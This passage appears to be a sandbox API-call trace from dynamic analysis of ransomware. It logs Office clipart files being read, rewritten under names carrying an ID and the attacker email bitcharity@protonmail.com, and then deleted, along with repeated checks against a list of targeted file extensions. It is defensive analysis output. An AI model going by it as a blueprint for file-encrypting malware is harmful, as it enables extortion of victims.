Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0152.996] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09194_.wmf")) returned 1 [0152.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68 [0152.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68 [0152.997] lstrlenW (lpString=".doc") returned 4 [0152.997] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.997] lstrlenW (lpString=".docx") returned 5 [0152.997] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0152.997] lstrlenW (lpString=".pdf") returned 4 [0152.997] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.997] lstrlenW (lpString=".xls") returned 4 [0152.997] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.997] lstrlenW (lpString=".xlsx") returned 5 [0152.997] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0152.997] lstrlenW (lpString=".ppt") returned 4 [0152.997] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68 [0152.997] lstrlenW (lpString=".zip") returned 4 [0152.997] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.997] lstrlenW (lpString=".rar") returned 4 [0152.997] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.997] lstrlenW (lpString=".bz2") returned 4 [0152.997] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.997] lstrlenW (lpString=".7z") returned 3 [0152.997] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68 [0152.997] lstrlenW (lpString=".dbf") returned 4 [0152.997] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68 [0152.998] lstrlenW (lpString=".1cd") returned 4 [0152.998] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68 [0152.998] lstrlenW (lpString=".jpg") returned 4 [0152.998] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68 [0152.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68 [0152.998] lstrlenW (lpString=".doc") returned 4 [0152.998] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.998] lstrlenW (lpString=".docx") returned 5 [0152.998] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0152.998] lstrlenW (lpString=".pdf") returned 4 [0152.998] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.998] lstrlenW (lpString=".xls") returned 4 [0152.998] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.998] lstrlenW (lpString=".xlsx") returned 5 [0152.998] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0152.998] lstrlenW (lpString=".ppt") returned 4 [0152.998] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.998] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68 [0152.998] lstrlenW (lpString=".zip") returned 4 [0152.998] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.998] lstrlenW (lpString=".rar") returned 4 [0152.998] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.998] lstrlenW (lpString=".bz2") returned 4 [0152.999] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.999] lstrlenW (lpString=".7z") returned 3 [0152.999] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68 [0152.999] lstrlenW (lpString=".dbf") returned 4 [0152.999] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68 [0152.999] lstrlenW (lpString=".1cd") returned 4 [0152.999] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.999] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68 [0152.999] lstrlenW (lpString=".jpg") returned 4 [0152.999] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.999] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0152.999] lstrlenW (lpString="BD09662_.WMF") returned 12 [0152.999] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09662_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1084 [0153.000] GetFileSizeEx (in: hFile=0x1084, lpFileSize=0x334ff14 | out: lpFileSize=0x334ff14*=20554) returned 1 [0153.000] CloseHandle (hObject=0x1084) returned 1 [0153.000] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09662_.wmf")) returned 0x220 [0153.000] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09662_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0153.000] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09662_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1084 [0153.000] SetFilePointerEx (in: hFile=0x1084, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.000] SetFilePointerEx (in: hFile=0x1084, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.000] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09662_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1098 [0153.001] GetLastError () returned 0x0 [0153.001] ReadFile (in: hFile=0x1084, lpBuffer=0x3f0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x334fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesRead=0x334fecc*=0x504a, lpOverlapped=0x0) returned 1 [0153.074] WriteFile (in: hFile=0x1098, lpBuffer=0x3f0a020*, nNumberOfBytesToWrite=0x5050, lpNumberOfBytesWritten=0x334fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesWritten=0x334fc94*=0x5050, lpOverlapped=0x0) returned 1 [0153.075] ReadFile (in: hFile=0x1084, lpBuffer=0x3f0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x334fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesRead=0x334fecc*=0x0, lpOverlapped=0x0) returned 1 [0153.075] WriteFile (in: hFile=0x1098, lpBuffer=0x3f0a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x334fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesWritten=0x334fc94*=0xec, lpOverlapped=0x0) returned 1 [0153.075] SetEndOfFile (hFile=0x1098) returned 1 [0153.076] CloseHandle (hObject=0x1098) returned 1 [0153.077] SetFilePointerEx (in: hFile=0x1084, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.077] SetEndOfFile (hFile=0x1084) returned 1 [0153.078] CloseHandle (hObject=0x1084) returned 1 [0153.078] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0153.079] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09662_.wmf")) returned 1 [0153.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68 [0153.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68 [0153.079] lstrlenW (lpString=".doc") returned 4 [0153.079] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0153.079] lstrlenW (lpString=".docx") returned 5 [0153.079] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0153.079] lstrlenW (lpString=".pdf") returned 4 [0153.079] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0153.079] lstrlenW (lpString=".xls") returned 4 [0153.080] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0153.080] lstrlenW (lpString=".xlsx") returned 5 [0153.080] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0153.080] lstrlenW (lpString=".ppt") returned 4 [0153.080] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0153.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68 [0153.080] lstrlenW (lpString=".zip") returned 4 [0153.080] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0153.080] lstrlenW (lpString=".rar") returned 4 [0153.080] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0153.080] lstrlenW (lpString=".bz2") returned 4 [0153.080] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0153.080] lstrlenW (lpString=".7z") returned 3 [0153.080] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0153.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68 [0153.080] lstrlenW (lpString=".dbf") returned 4 [0153.080] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0153.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68 [0153.080] lstrlenW (lpString=".1cd") returned 4 [0153.080] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0153.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68 [0153.080] lstrlenW (lpString=".jpg") returned 4 [0153.080] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0153.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68 [0153.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68 [0153.081] lstrlenW (lpString=".doc") returned 4 [0153.081] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0153.081] lstrlenW (lpString=".docx") returned 5 [0153.081] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0153.081] lstrlenW (lpString=".pdf") returned 4 [0153.081] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0153.081] lstrlenW (lpString=".xls") returned 4 [0153.081] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0153.081] lstrlenW (lpString=".xlsx") returned 5 [0153.081] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0153.081] lstrlenW (lpString=".ppt") returned 4 [0153.081] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0153.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68 [0153.081] lstrlenW (lpString=".zip") returned 4 [0153.081] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0153.081] lstrlenW (lpString=".rar") returned 4 [0153.081] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0153.081] lstrlenW (lpString=".bz2") returned 4 [0153.081] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0153.081] lstrlenW (lpString=".7z") returned 3 [0153.081] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0153.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68 [0153.081] lstrlenW (lpString=".dbf") returned 4 [0153.081] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0153.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68 [0153.081] lstrlenW (lpString=".1cd") returned 4 [0153.081] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0153.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68 [0153.082] lstrlenW (lpString=".jpg") returned 4 [0153.082] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0153.083] SetFilePointerEx (in: hFile=0x1084, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.083] SetFilePointerEx (in: hFile=0x1084, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.083] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10890_.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1098 [0153.083] GetLastError () returned 0x0 [0153.083] ReadFile (in: hFile=0x1084, lpBuffer=0x3f0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x334fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesRead=0x334fecc*=0x34cb, lpOverlapped=0x0) returned 1 [0153.108] WriteFile (in: hFile=0x1098, lpBuffer=0x3f0a020*, nNumberOfBytesToWrite=0x34d0, lpNumberOfBytesWritten=0x334fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesWritten=0x334fc94*=0x34d0, lpOverlapped=0x0) returned 1 [0153.109] ReadFile (in: hFile=0x1084, lpBuffer=0x3f0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x334fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesRead=0x334fecc*=0x0, lpOverlapped=0x0) returned 1 [0153.109] WriteFile (in: hFile=0x1098, lpBuffer=0x3f0a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x334fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesWritten=0x334fc94*=0xec, lpOverlapped=0x0) returned 1 [0153.109] SetEndOfFile (hFile=0x1098) returned 1 [0153.110] CloseHandle (hObject=0x1098) returned 1 [0153.113] SetFilePointerEx (in: hFile=0x1084, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.113] SetEndOfFile (hFile=0x1084) returned 1 [0153.114] CloseHandle (hObject=0x1084) returned 1 [0153.114] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0153.115] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10890_.gif")) returned 1 [0153.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68 [0153.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68 [0153.115] lstrlenW (lpString=".doc") returned 4 [0153.115] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0153.115] lstrlenW (lpString=".docx") returned 5 [0153.115] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0153.115] lstrlenW (lpString=".pdf") returned 4 [0153.115] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0153.115] lstrlenW (lpString=".xls") returned 4 [0153.115] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0153.116] lstrlenW (lpString=".xlsx") returned 5 [0153.116] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0153.116] lstrlenW (lpString=".ppt") returned 4 [0153.116] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0153.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68 [0153.119] lstrlenW (lpString=".zip") returned 4 [0153.120] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0153.120] lstrlenW (lpString=".rar") returned 4 [0153.120] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0153.120] lstrlenW (lpString=".bz2") returned 4 [0153.120] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0153.120] lstrlenW (lpString=".7z") returned 3 [0153.120] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0153.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68 [0153.120] lstrlenW (lpString=".dbf") returned 4 [0153.120] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0153.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68 [0153.120] lstrlenW (lpString=".1cd") returned 4 [0153.120] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0153.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68 [0153.120] lstrlenW (lpString=".jpg") returned 4 [0153.120] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0153.121] SetFilePointerEx (in: hFile=0x1084, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.121] SetFilePointerEx (in: hFile=0x1084, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.121] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19582_.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1098 [0153.121] GetLastError () returned 0x0 [0153.121] ReadFile (in: hFile=0x1084, lpBuffer=0x3f0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x334fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesRead=0x334fecc*=0x3d75, lpOverlapped=0x0) returned 1 [0153.134] WriteFile (in: hFile=0x1098, lpBuffer=0x3f0a020*, nNumberOfBytesToWrite=0x3d80, lpNumberOfBytesWritten=0x334fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesWritten=0x334fc94*=0x3d80, lpOverlapped=0x0) returned 1 [0153.135] ReadFile (in: hFile=0x1084, lpBuffer=0x3f0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x334fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesRead=0x334fecc*=0x0, lpOverlapped=0x0) returned 1 [0153.135] WriteFile (in: hFile=0x1098, lpBuffer=0x3f0a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x334fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesWritten=0x334fc94*=0xec, lpOverlapped=0x0) returned 1 [0153.135] SetEndOfFile (hFile=0x1098) returned 1 [0153.136] CloseHandle (hObject=0x1098) returned 1 [0153.137] SetFilePointerEx (in: hFile=0x1084, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.137] SetEndOfFile (hFile=0x1084) returned 1 [0153.138] CloseHandle (hObject=0x1084) returned 1 [0153.138] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0153.139] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19582_.gif")) returned 1 [0153.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68 [0153.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68 [0153.139] lstrlenW (lpString=".doc") returned 4 [0153.139] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0153.139] lstrlenW (lpString=".docx") returned 5 [0153.139] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0153.139] lstrlenW (lpString=".pdf") returned 4 [0153.139] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0153.139] lstrlenW (lpString=".xls") returned 4 [0153.139] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0153.139] lstrlenW (lpString=".xlsx") returned 5 [0153.139] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0153.139] lstrlenW (lpString=".ppt") returned 4 [0153.139] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0153.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68 [0153.140] lstrlenW (lpString=".zip") returned 4 [0153.140] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0153.140] lstrlenW (lpString=".rar") returned 4 [0153.140] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0153.140] lstrlenW (lpString=".bz2") returned 4 [0153.140] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0153.140] lstrlenW (lpString=".7z") returned 3 [0153.140] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0153.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68 [0153.140] lstrlenW (lpString=".dbf") returned 4 [0153.140] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0153.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68 [0153.140] lstrlenW (lpString=".1cd") returned 4 [0153.140] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0153.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 68 [0153.140] lstrlenW (lpString=".jpg") returned 4 [0153.140] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0153.141] SetFilePointerEx (in: hFile=0x1084, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.141] SetFilePointerEx (in: hFile=0x1084, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.141] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19695_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1098 [0153.141] GetLastError () returned 0x0 [0153.141] ReadFile (in: hFile=0x1084, lpBuffer=0x3f0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x334fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesRead=0x334fecc*=0x32b6, lpOverlapped=0x0) returned 1 [0153.168] WriteFile (in: hFile=0x1098, lpBuffer=0x3f0a020*, nNumberOfBytesToWrite=0x32c0, lpNumberOfBytesWritten=0x334fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesWritten=0x334fc94*=0x32c0, lpOverlapped=0x0) returned 1 [0153.169] ReadFile (in: hFile=0x1084, lpBuffer=0x3f0a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x334fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesRead=0x334fecc*=0x0, lpOverlapped=0x0) returned 1 [0153.170] WriteFile (in: hFile=0x1098, lpBuffer=0x3f0a020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x334fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f0a020*, lpNumberOfBytesWritten=0x334fc94*=0xec, lpOverlapped=0x0) returned 1 [0153.170] SetEndOfFile (hFile=0x1098) returned 1 [0153.170] CloseHandle (hObject=0x1098) returned 1 [0153.171] SetFilePointerEx (in: hFile=0x1084, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x334fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.171] SetEndOfFile (hFile=0x1084) returned 1 [0153.172] CloseHandle (hObject=0x1084) returned 1 [0153.172] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0153.173] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19695_.wmf")) returned 1 [0153.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 68 [0153.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19695_.WMF") returned 68 [0153.173] lstrlenW (lpString=".doc") returned 4 [0153.173] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0153.173] lstrlenW (lpString=".docx") returned 5 [0153.173] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0153.173] lstrlenW 